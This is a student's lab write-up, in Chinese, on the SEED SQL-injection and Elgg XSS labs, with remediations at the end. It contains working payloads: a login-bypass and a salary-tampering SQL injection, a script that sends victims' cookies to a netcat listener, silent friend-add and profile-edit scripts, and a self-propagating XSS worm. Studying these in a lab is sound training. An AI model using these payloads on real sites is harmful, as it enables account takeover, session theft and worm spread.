# 20251901 2024-2025-2 《网络攻防实践》实验十

目录

实验十 Web应用程序安全攻防

实践内容:
一、SEED SQL注入攻击与防御实验
我们已经创建了一个Web应用程序,并将其托管在 三达不溜.SEEDLabSQLInjection.com。该Web应用程序是一个简单的员工管理应用程序。员工可以通过此Web应用程序查看和更新数据库中的个人信息。此Web应用程序主要有两个角色:管理员是特权角色,可以管理每个员工的个人资料信息。员工是一般角色,可以查看或更新自己的个人资料信息。完成以下任务:
熟悉SQL语句: 我们已经创建了一个名为Users的数据库,其中包含一个名为creditential的表。该表存储了每个员工的个人信息(例如,eid,密码,薪水,ssn等)。在此任务中,您需要使用数据库来熟悉SQL查询。
对SELECT语句的SQL注入攻击:上述Web应用存在SQL输入漏洞,任务是在不知道密码的情况下登陆该Web应用程序。
对UPDATE语句的SQL注入攻击:通过员工的更新个人界面实施UPDATE语句的SQL注入攻击。
SQL对抗:修复上述SQL注入攻击漏洞。

二、SEED XSS跨站脚本攻击实验(Elgg)
为了演示攻击者可以利用XSS漏洞做什么,我们在预先构建的Ubuntu VM映像中设置了一个名为Elgg的Web应用程序。在本实验中,学生需要利用此漏洞对经过修改的Elgg发起XSS攻击,攻击的最终目的是在用户之间传播XSS蠕虫,这样,无论是谁查看的受感染用户个人资料都将被感染。
发布恶意消息,显示警报窗口:在您的Elgg配置文件中嵌入一个JavaScript程序,以便当另一个用户查看您的配置文件时,将执行JavaScript程序并显示一个警报窗口。
弹窗显示cookie信息:将cookie信息显示。
窃取受害者的cookies:将cookie发送给攻击者。
成为受害者的朋友:使用js程序加受害者为朋友,无需受害者干预,使用相关的工具了解Elgg加好友的过程。
修改受害者的信息:使用js程序使得受害者在访问Alice的页面时,资料无需干预却被修改。
编写XSS蠕虫。
对抗XSS攻击。

一、实验任务

  • 本次实验分为两大模块,分别为SQL注入攻防实验、XSS跨站脚本攻防实验
  1. SQL注入攻击与防御实验:(1)基础SQL语句练习:登录MySQL数据库,熟悉数据库查看、数据表查看、条件查询等基础SQL操作,掌握实验靶场数据库结构与数据存储规则。(2)SELECT语句SQL注入攻击:分析员工管理系统登录接口漏洞,利用单引号闭合、注释符绕过密码验证,实现无密码登录管理员、普通员工账号,越权查看敏感数据。(3)UPDATE语句SQL注入攻击:利用用户资料修改接口漏洞,构造恶意SQL语句篡改数据库中管理员薪资等敏感数据,实现数据篡改攻击。(4)SQL注入漏洞防御修复:通过参数化查询重构后端代码,修复SELECT、UPDATE语句注入漏洞,验证修复有效性。
  2. XSS跨站脚本攻击与防御实验:(1)基础XSS弹窗攻击:在Elgg个人资料页面嵌入JS代码,实现访问页面弹出提示窗口、弹窗展示用户Cookie信息。(2)Cookie窃取攻击:通过NC端口监听,结合恶意JS代码自动获取受害者Cookie并发送至攻击者服务器。(3)自动化社交攻击:编写JS脚本实现无需用户干预,自动添加受害者为好友、篡改受害者个人资料。(4)XSS蠕虫编写与传播:构造可自我复制、自动传播的XSS蠕虫,实现漏洞跨用户传染。(5)XSS漏洞防御:激活网站安全插件,过滤恶意HTML、JS代码,阻断XSS攻击。

二、实验材料或资源

  • Ubuntu虚拟机
  • SEEDLab漏洞测试靶场
  • MySQL数据库
  • 实验所需的其他网络攻防工具

三、知识点梳理

  • SQL注入漏洞原理
    SQL注入是最常见的Web高危漏洞,核心成因是Web后端未对用户输入数据做过滤、转义,直接将用户可控参数拼接至SQL语句中执行。用户可通过输入特殊字符(单引号、注释符、逻辑运算符)篡改原有SQL语句的执行逻辑,实现越权查询、数据篡改、数据泄露等恶意操作。
    本次实验核心用到两个注入逻辑:一是单引号'闭合SQL语句中原有的字符串边界,打破原有语句结构;二是MySQL注释符#,注释掉语句后半段验证逻辑,跳过密码校验、条件限制等核心验证流程。
    SELECT注入:利用用户输入拼接查询语句,绕过身份验证,实现无密码登录;UPDATE注入:利用更新语句拼接漏洞,篡改数据表指定字段数据,实现越权修改他人数据。
    漏洞防御核心原理:摒弃字符串拼接SQL语句的方式,使用参数化查询(预编译语句),将SQL语句结构与用户输入数据完全分离,用户输入仅作为参数传递,无法篡改语句逻辑,从根源杜绝注入。

  • XSS跨站脚本漏洞原理
    XSS(跨站脚本攻击)成因是Web网站未对用户输入的HTML、JavaScript代码做过滤、转义,直接存储并展示在前端页面,导致其他用户访问页面时,恶意脚本被浏览器解析执行。
    本次实验属于存储型XSS,恶意脚本被永久存储在网站数据库中,所有访问对应页面的用户都会触发攻击,具有持续性、传播性。核心攻击逻辑:JS脚本可调用浏览器内置对象,获取用户Cookie、页面令牌、用户身份信息,结合AJAX请求自动调用网站接口,实现自动化攻击。
    XSS蠕虫原理:在恶意脚本中加入自我复制编码逻辑,将自身代码编码后写入受害者个人资料,实现受害者被感染后,其页面也会携带恶意脚本,持续感染其他访问用户,形成蠕虫传播。
    XSS防御核心原理:通过安全插件过滤页面中的恶意HTML、JS标签,禁止未授权脚本执行,对用户输入内容做转义处理,阻断脚本解析执行。

  • 实验工具介绍
    (1)MySQL数据库:本次实验数据存储载体,用于存储员工账号、薪资、个人资料等信息,是SQL注入攻击的核心目标,通过数据库命令可查看数据表结构、验证注入攻击效果。
    (2) NC(Netcat)工具:网络监听工具,本次用于开启本地端口监听,接收受害者浏览器发送的Cookie数据,实现Cookie窃取攻击,是Web渗透中数据接收的常用工具。

四、实验思路

  • 实验整体思路:先确认漏洞存在、再分析漏洞成因、根据业务逻辑构造 payload 攻击、最后从代码层面修复漏洞
  • SQL注入实验思路
    第一步:基础铺垫。通过MySQL基础命令熟悉靶场数据库Users、数据表credential的结构和数据格式,了解网站数据存储规则,为后续注入攻击提供数据基础。
    第二步:漏洞定位。通过浏览器查看前端源码、终端查看后端PHP文件,明确登录、资料修改接口的核心SQL语句,发现代码存在字符串拼接漏洞,无输入过滤,确定注入点位。
    第三步:针对性攻击。针对SELECT登录查询语句,利用单引号+注释符闭合语句,绕过密码验证实现越权登录;针对UPDATE更新语句,构造恶意字段参数,篡改SQL更新逻辑,实现越权修改管理员数据。
    第四步:漏洞修复与验证。采用行业标准的参数化查询重构代码,分离语句结构与用户输入,最后重复原有攻击操作,验证漏洞是否彻底修复。
  • XSS跨站脚本实验思路
    第一步:基础验证。利用最简单的弹窗JS代码,验证个人资料页面存在存储型XSS漏洞,确认用户输入内容可被页面解析执行。
    第二步:进阶攻击拓展。基于基础漏洞,逐步升级攻击手段:从弹窗展示Cookie,到搭建监听端口窃取Cookie,再到抓取网站接口参数,编写AJAX脚本实现自动加好友、篡改资料。
    第三步:蠕虫开发。在自动化攻击脚本基础上,增加自我复制编码逻辑,让恶意脚本可自动传播至其他用户页面,实现蠕虫式传染。
    第四步:防御验证。启用网站安全过滤插件,阻断恶意脚本执行,再次测试所有攻击方式,验证防御效果。

五、实验详细过程

实验前置准备

(1)虚拟机安装

  • 首先下载 SEEDUbuntu 16.04 32 位镜像https://seed.nyc3.cdn.digitaloceanspaces.com/SEEDUbuntu-16.04-32bit.zip
  • 按照实验一的方法新建虚拟机,依次点击"创建新的虚拟机" --> "自定义" --> Workstation17.x --> "稍后安装操作系统" --> "Linux" --> "Ubuntu" --> "网络地址转换" --> "LSI Logic" --> "SCSI" --> 现有虚拟磁盘中的"SEEDUbuntu-16.04-32bit.vmdk" --> 保持现有格式磁盘。
    image

(2)安装VMware Tools

  • 打开刚才创建的虚拟机,在页面的下方点击安装Tools
    image

  • 在文件管理菜单中找到VMware Tools压缩包并复制到 home 目录下,在home目录下打开终端,输入命令tar -zxvf 压缩文件名对压缩包进行解压。
    image

  • 解压后输入命令:
    cd vmware-tools-distrib
    image

  • 然后执行安装:sudo ./vmware-install.pl
    image
    最开始输入yes,后面的直接一直按回车,按照默认方式安装即可,直到出现Enjoy, --the VMware team

  • 之后执行 sudo reboot 重启虚拟机,Tools 就会生效了。
    image

(3)修改主机名

  • 首先切换到root用户(密码:seedubuntu):su -
  • 设置临时主机名:hostname mjq
  • 验证主机名:hostname
    image
  • 设置永久修改主机名:sudo nano /etc/hosts
    image
    image
    修改完成后,按以下操作:
    按 Ctrl + O(字母 O):写入修改
    按 Enter:确认保存到 /etc/hosts
    按 Ctrl + X:退出 nano 编辑器
  • 还需要修改另一个关键文件,让主机名永久生效:nano /etc/hostname,不然就会出现unable to reslive host的情况。
    image
    image
    image

5.1 SEED SQL注入攻击与防御实验

5.1.1熟悉SQL语句

  • 使用 root 登录 MySQL 数据库:mysql -u root -p。密码为seedubuntu。
    -u root:-u指定数据库登录用户名,root 是 MySQL 默认超级管理员账号,拥有全库查询、修改权限;
    -p:代表登录后交互式输入数据库密码,不把密码明文写在命令行(安全规范,避免密码留存在系统日志);
    image

  • 列出当前 MySQL 实例中所有已创建数据库:命令:show databases;
    注意:末尾分号是 MySQL 语句结束标识符,无分号命令不会执行。
    image

  • 命令:use Users;切换工作数据库,将后续所有 SQL 执行环境锁定到 Users 数据库。
    MySQL 是多数据库架构,不同业务数据分库存放,不执行 use 切换,查表需要库名.表名完整写法,use 简化后续语句书写。
    image

  • 查看 Users 库内所有数据表,命令:show tables;
    image

  • 命令:select * from credential;
    *:通配符,代表查询数据表全部字段;
    image

  • 命令:select * from credential where Name = 'Alice';
    where是 SQL 条件过滤关键字,Name='Alice'为字符串条件,字符串在 SQL 中必须用单引号包裹
    image

  • 命令:select * from credential where ID <=2;
    <=数值比较运算符,ID 字段为数字类型,数值不需要单引号包裹
    image

5.1.2 对SELECT语句的SQL注入攻击

  • 访问http://www.seedlabsqlinjection.com/
  • 按F12 / 右键查看网页源码
    image
    image
    image
    网页登录表单将用户名、密码以 GET 参数传给unsafe_home.php,GET 参数直接拼接到 URL,后端 PHP 接收参数后带入 SQL 查询;查看源码是 Web 渗透常规信息搜集手段,确定注入入口点在 unsafe_home.php
  • 输入命令vim /var/www/SQLInjection/unsafe_home.php查看后端源码
    image
    image
    可以看到其中的核心原始 SQL:
    SELECT id, name, eid, salary, birth, ssn, phoneNumber, address, email, nickname, Password
    FROM credential
    WHERE name= '$input_uname' and Password='$hashed_pwd';
    PHP 接收前端传入用户名存入变量$input_uname、密码存入$hashed_pwd,直接把变量字符串拼接进 SQL 语句,没有过滤特殊字符。
    SQL 语法规则:'是字符串起止边界,$input_uname的值被单引号包裹在 SQL 里。
    只要输入任意一个存在于数据库中的账号名字后面加上' #后上传这个语句,本来功能正常的select语句将会 注释掉验证密码的半句,从而绕过验证,实现只用用户名登录。当用户输入 Admin'# 时,实际执行的SQL变为:SELECT * FROM credential WHERE name= 'Admin'#' and Password=''。Admin'里的单引号:闭合原有 SQL 中name=后面的左单引号,原本'$input_uname'变成'Admin',name 字段赋值结束;
    井号#:MySQL 单行注释符,#之后整行 SQL 全部被数据库忽略,因此and Password='$hashed_pwd'密码校验逻辑直接被注释废弃;只要数据库中存在用户名为Admin的记录,攻击者即可绕过密码验证,直接获取管理员权限。
    image
    image
  • 同理输入Alice'#即可绕过 Alice 账号密码。
    image
    image

5.1.3 对UPDATE语句的SQL注入攻击

  • 用 Alice 身份登录系统(密码 seedalice),点击 "Edit Profile" 进入个人信息修改页面,修改个人资料。
    前端仅开放昵称、邮箱、地址、手机号修改入口,薪资 Salary、姓名 Name 等敏感字段页面无输入框,正常业务无法修改。
    image
    image

  • 输入命令vim /var/www/SQLInjection/unsafe_edit_backend.php查看后端代码
    image
    可以看到,该文件中使用update语句来更新内容条目。因此构造注入 Payload,在原框输入',Salary='20251901' where Name='Admin';#,将他的工资改为20251901,可以看到成功通过注入修改了他的工资。
    UPDATE 注入依靠逗号新增修改字段、单引号闭合原有字符串、注释符废弃后置代码,突破前端页面字段限制,越权修改其他用户敏感数据。
    image
    image

5.1.4 SQL对抗

  • SELECT 修复:vim /var/www/SQLInjection/unsafe_home.php
    image

  • 将原 SQL 语句替换为:

$sql = $conn->prepare("SELECT id, name, eid, salary, birth, ssn, phoneNumber, address, email, nickname, Password FROM credential WHERE name= ? and Password= ?");
$sql->bind_param("ss", $input_uname, $hashed_pwd);
$sql->execute();
$result = $sql->get_result();
  • prepare(固定SQL模板):提前在 MySQL 数据库预编译 SQL 语句结构,?是参数占位符,SQL 语法结构永久固定,无法被用户输入篡改;
    bind_param("ss", 变量1,变量2):
    ss代表两个参数都是字符串类型(s=string);
    把前端传入的用户名、密码变量仅当做纯数据绑定到占位符,用户输入的' #等特殊符号全部被当做普通文本内容,不会被 SQL 引擎解析成语法符号;
    execute():执行预编译语句,数据库将绑定数据填入占位符执行查询。
    防御核心逻辑:SQL 结构与用户输入数据完全分离,从语法层面杜绝拼接注入。
    image
    image
  • UPDATE 修复:修改 unsafe_edit_backend.php 参数化代码:vim /var/www/SQLInjection/unsafe_edit_backend.php
    将原 SQL 语句替换为:
$sql = $conn->prepare("UPDATE credential SET nickname=?,email=?,address=?,PhoneNumber=? where ID=?");
$sql->bind_param("ssssi", $input_nickname, $input_email, $input_address, $input_phonenumber, $id);
$sql->execute();
  • ssssi:前 4 个参数字符串 s,最后 ID 为整型 i (int);
    同样使用占位符固定 UPDATE 语句结构,恶意 Payload 全部作为普通字符存入 nickname 字段,无法新增 Salary 修改语句。
  • 修复验证:再次输入Admin'#登录、构造薪资篡改 Payload,全部失效
    image
    单引号、# 不再具备 SQL 语法含义,被当作普通文本存入字段,无法破坏 SQL 结构,注入漏洞修复完成。

5.2 SEED XSS跨站脚本攻击实验(Elgg)

  • Elgg 默认账号
用户名 密码 权限
Alice seedalice 普通用户
Boby seedboby 普通用户
Samy seedsamy 普通用户
Admin seedelgg 管理员

5.2.1 发布恶意消息,显示警报窗口

  • 火狐访问http://www.xsslabelgg.com/
  • Alice 登录→个人主页 点击Edit Profile
    image
    image
    image
  • 在Brief description 填入<script>alert("20251901");</script>保存
    script是 HTML 脚本标签,浏览器解析页面时识别该标签,自动执行内部 JS 代码;alert()是浏览器内置弹窗函数,作用是弹出提示框。
    image
    Elgg 后端直接把 Brief description 存入数据库,其他用户访问 Alice 主页时,服务端从数据库取出内容原样渲染到 HTML 页面,浏览器将用户写入的内容当做前端代码执行,属于存储型 XSS(恶意代码永久落库,持久生效)。
    先写入恶意代码存库→其他用户访问触发执行,以此验证漏洞真实存在,是后续所有高阶 XSS 攻击的基础验证。
    image

5.2.2 弹窗显示cookie信息

  • 在Edit Profile页面,将Brief description修改为<script> alert(document.cookie);</script>
    document.cookie:浏览器 DOM 内置对象,可读取当前域名下本站所有 Cookie 字符串,Cookie 存储用户登录凭证、身份会话,是 XSS 窃取的核心目标。
    原理:页面加载 JS 执行后,alert 直接打印当前访客 Cookie;谁访问页面,弹出谁的 Cookie,证明 JS 可以跨用户读取访客会话凭证,为远程窃取 Cookie 提供理论可行性。
    步骤设计目的:在本地弹窗验证 Cookie 可被读取,再进阶实现远程接收 Cookie。
    image
    image

5.2.3 窃取受害者的cookies

  • 打开终端,输入终端监听命令:nc -l 5555 -v
    -l:listen,开启端口监听模式,把本机 5555 端口设置为接收数据端口;
    5555:自定义空闲端口,可随意更换未占用端口;
    -v:verbose,输出详细连接、接收日志,方便直观看到传回的 Cookie 数据。
    选用 nc 原因:Netcat 俗称网络瑞士军刀,Linux 预装工具,快速搭建简易服务端接收 GET 请求携带的参数,无需部署 Web 服务,适配实验快速验证。
    image
  • 将Brief description修改为恶意JS代码> document.write('<img src=http://127.0.0.1:5555?c=' + escape(document.cookie) + '>');
    document.write():页面动态插入 HTML 标签;图片标签 src 地址被浏览器自动发起 GET 请求,图片资源请求不会被跨域拦截,是 XSS 外带数据最常用手段;
    escape(document.cookie):对 Cookie 特殊字符 URL 编码,避免 &、= 等符号打乱 URL 参数结构,保证 Cookie 完整作为c参数传给监听端口;
    image
  • 点击保存,然后登录Boby账号,搜索Alice,可以看到,终端获取到了Boby的cookies
    image
    image
    流程:Boby 访问 Alice 主页→页面加载 JS→自动创建 img、发起请求127.0.0.1:5555?c=Boby的Cookie→nc 监听到 GET 请求,终端打印 Boby 全部 Cookie,完成会话窃取。

5.2.4 成为受害者的朋友

  • 登录Alice的账号,搜索Boby,点击Add friend添加好友
    image
    image

  • F12 开发者工具抓包查看请求参数。查看Params,可以发现用户ID、__elgg_ts(时间戳)、__elgg_token(安全令牌)参数
    image
    F12 抓包:逆向 Elgg 加好友接口规则:接口地址/action/friends/add、必填参数friend=用户ID、__elgg_ts(时间戳)、__elgg_token(安全令牌);Elgg 为防 CSRF,所有关键操作必须携带 ts+token,两个参数从当前登录用户全局变量elgg.security.token动态获取,不能写死。

  • 然后点击Remove friend取消好友,然后打开Alice的Edit profile页面,在About me中添加如下的内容(要点击右上角的Edit HTML,关闭富文本自动转义)

<script type="text/javascript">
window.onload = function () {
    var Ajax=null;
    var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
    var token="&__elgg_token="+elgg.security.token.__elgg_token;
    var sendurl="http://www.xsslabelgg.com/action/friends/add?friend=45" + ts + token;
    Ajax=new XMLHttpRequest();
    Ajax.open("GET",sendurl,true);
    Ajax.setRequestHeader("Host","www.xsslabelgg.com");
    Ajax.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
    Ajax.send();
}
</script>
  • window.onload:页面全部加载完毕后自动执行函数,保证页面 DOM、全局 elgg 对象加载完成后再取值;
    XMLHttpRequest(Ajax):浏览器异步请求对象,在页面静默发起 HTTP 请求,页面无任何弹窗、跳转,受害者无感知;
    friend=45:Boby 固定用户 ID,抓包获取;拼接 ts、token 补齐接口校验参数;
    image
  • 保存后回到主页,可以发现,Alice已经和Boby成为了好友
    image
  • 执行逻辑:Boby 访问 Alice 主页→JS 自动执行→静默 GET 加好友接口→系统自动将 Boby 添加为 Alice 好友,无需受害者手动确认。

5.2.5 修改受害者的信息

  • 打开Alice的Edit profile页面,在About me中撰写如下内容:
<script type="text/javascript">
	window.onload = function(){
  //JavaScript code to access user name, user guid, Time Stamp __elgg_ts
  //and Security Token __elgg_token
	var userName=elgg.session.user.name;
	var guid="&guid="+elgg.session.user.guid;
	var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
	var token="&__elgg_token="+elgg.security.token.__elgg_token;
    var content=token+ts+"name="+userName+"&description=<p>You have already been attacked by 20251901mjq</p>&accesslevel[description]=2&briefdescription=&accesslevel[briefdescription]=2&location=&accesslevel[location]=2&interests=&accesslevel[interests]=2&skills=&accesslevel[skills]=2&contactemail=&accesslevel[contactemail]=2&phone=&accesslevel[phone]=2&mobile=&accesslevel[mobile]=2&website=&accesslevel[website]=2&twitter=&accesslevel[twitter]=2"+guid;  
    var sendurl = "http://www.xsslabelgg.com/action/profile/edit";
	var aliceGuid=44;    
	if(elgg.session.user.guid!=aliceGuid){
   	//Create and send Ajax request to modify profile
   	var Ajax=null;
   	Ajax=new XMLHttpRequest();
   	Ajax.open("POST",sendurl,true);
		Ajax.setRequestHeader("Host","www.xsslabelgg.com");
		Ajax.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
    Ajax.send(content);
  }
}
</script>
  • elgg.session.user.guid:获取当前访问者唯一用户 ID,aliceGuid=44是 Alice 本人 ID;if(guid≠44):判断当前访客不是 Alice 本人,仅对其他访客执行篡改,避免修改攻击者自身资料;
    抓包得知资料修改接口为 POST 请求/action/profile/edit,content拼接接口全部表单参数:令牌、时间戳、用户 GUID、修改后的 description 内容、各个字段权限参数,参数格式完全模仿正常提交表单;
    open("POST",url,true):true 代表异步请求,静默后台提交;Content-Type为表单标准编码格式,和浏览器正常提交表单头保持一致,服务端识别为合法表单提交。
    image

  • 点击保存后退出登录

  • 使用Boby账号进行登录,可以看到目前Boby主页内容为空
    image

  • 查找Alice并进入其主页,然后再回到Boby的主页,此时发现Boby主页的内容已经被修改
    image

  • 攻击流程:Boby 访问 Alice 主页→JS 获取 Boby 身份信息、自动 POST 修改接口→Boby 个人简介被后台批量修改为攻击文案,返回 Boby 个人主页即可看到篡改结果。

5.2.6 编写XSS蠕虫

  • 再次打开Alice的Edit profile页面,在About me中撰写以下内容:
<script id="worm" type="text/javascript">
    window.onload = function(){
        var headerTag = "<script id=\'worm\' type=\'text/javascript\'>";
        var jsCode = document.getElementById("worm").innerHTML;
        var tailTag = "</" + "script>";
        var wormCode = encodeURIComponent(headerTag + jsCode + tailTag);
        var userName=elgg.session.user.name;
        var guid="&guid="+elgg.session.user.guid;
        var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
        var token="&__elgg_token="+elgg.security.token.__elgg_token;
        var content= token + ts + "&name=" + userName + "&description=<p>>You have already been attacked by 20251901mjq again"+ wormCode + "</p> &accesslevel[description]=2&briefdescription=&accesslevel[briefdescription]=2&location=&accesslevel[location]=2&interests=&accesslevel[interests]=2&skills=&accesslevel[skills]=2&contactemail=&accesslevel[contactemail]=2&phone=&accesslevel[phone]=2&mobile=&accesslevel[mobile]=2&website=&accesslevel[website]=2&twitter=&accesslevel[twitter]=2" + guid;
        var sendurl = "http://www.xsslabelgg.com/action/profile/edit"
        var samyGuid=44;
        if(elgg.session.user.guid!=samyGuid){
            var Ajax=null;
            Ajax=new XMLHttpRequest();
            Ajax.open("POST",sendurl,true);
Ajax.setRequestHeader("Host","www.xsslabelgg.com");
            Ajax.setRequestHeader("Content-Type",
            "application/x-www-form-urlencoded");
            Ajax.send(content);
        }
    }
</script>

image

  • 保存后退出登录

  • 使用Boby账号进行登录,可以看到目前Boby主页还是上次攻击的内容
    image

  • 然后再次访问Alice并进入其主页后,发现Boby主页的内容又被修改了
    image

  • 退出登录,然后登录Samy的账号,可以看到Samy的主页目前为空
    image

  • 访问Boby的主页,然后再回到Samy的主页,发现Samy的主页内容也被修改了
    image
    说明蠕虫蠕虫构造成功,且在用户之间自动传播。
    蠕虫自复制原理(核心):
    document.getElementById("worm").innerHTML:读取当前 script 标签内部全部蠕虫源码;headerTag+源码+tailTag拼接出完整蠕虫脚本;encodeURIComponent()URL 编码整段蠕虫代码,避免脚本内< > " &等符号破坏 POST 表单参数结构;
    传播逻辑:把编码后的蠕虫代码写入当前访客的 description 字段并提交保存;

  • 传染链路:
    Boby 访问 Alice→Boby 被植入蠕虫到自己主页→Samy 访问 Boby 主页→Samy 页面蠕虫执行,Samy 主页再存入蠕虫;实现被感染用户变成新的攻击源,持续感染后续访问者,达成蠕虫链式传播;
    samyGuid=44:攻击者 Alice 固定 ID,if 判断只感染其他用户,不自我感染。

5.2.7 对抗XSS攻击

  • 登录Admin账号,点击右上角的Account、Administration进入管理界面
    image
  • 点击右侧的Plugins,找到 HTMLawed→Activate 启用
    image
    从activate改为Deactivate
    image
  • 激活后重新进行XSS攻击实验,使用Admin账号访问Alice主页,然后返回Admin主页,发现Admin主页内容并没有被修改,说明XSS攻击已经失效,对抗XSS攻击成功
    image
    插件原理:HTMLawed 是 Elgg 官方安全过滤插件,在服务端入库前对用户提交内容做 HTML 净化:自动过滤script、JS 事件标签,对< > " '等特殊 HTML 符号转义编码;
    转义后:script变成普通文本字符,浏览器不再识别为脚本标签,无法解析执行 JS 代码;
    验证:启用插件后再次访问 Alice 主页,所有弹窗、Cookie 窃取、自动改资料全部失效,XSS 攻击被阻断;
    防御逻辑:服务端输入过滤 + HTML 特殊字符转义是存储型 XSS 主流根治方案,从源头阻止恶意脚本存入数据库。

六、实验过程中遇到的问题及解决

  • 1、在使用vim编辑器对文件进行编辑之后,输入:wq/:wq!之后均报错
    image
    image
  • 原因是权限不够,没有在root权限下进行vim编辑。只需在vim命令前加上sudo即可。
  • 2、修改主机名sudo nano /etc/hosts之后显示unable to resolve host
    image
  • 解决:还需修改修改 /etc/hostname文件:nano /etc/hostname
    image
    image
    修改完两个文件后,执行重启命令reboot,即可成功修改主机名。

七、学习收获及感想

  • 本次实验完整完成了SEED Lab的SQL注入与XSS跨站脚本两大核心Web安全实验。在本次实验中,实操后才发现,仅单引号、注释符就能绕过登录校验,简短 JS 脚本便可窃取 Cookie、传播蠕虫,不起眼的输入漏洞会造成数据泄露、信息篡改。在调试中我慢慢理解了漏洞的原理。参数化查询、安全插件过滤两种修复方式,让我明白规范编码与输入校验是安全关键。此次实验打破我对网站防护的固有认知,深知用户输入不可轻信。
  • 通过本次实验,我明白了,想要掌握网络攻防技术,必须从底层原理出发,理解每一句代码、每一条命令的执行逻辑,而非单纯复制粘贴操作。
  • 最后,本次实验也让我认识到网络安全的严肃性,SQL注入、XSS漏洞可直接导致用户隐私泄露、网站数据被篡改、系统权限被越权获取,在真实业务场景中可能会造成严重危害。未来我会继续学习Web安全基础知识,熟练掌握各类漏洞的攻防原理与修复方法,扎实学好网络安全相关内容。
posted @ 2026-06-02 22:05  jgfx  阅读(14)  评论(0)    收藏  举报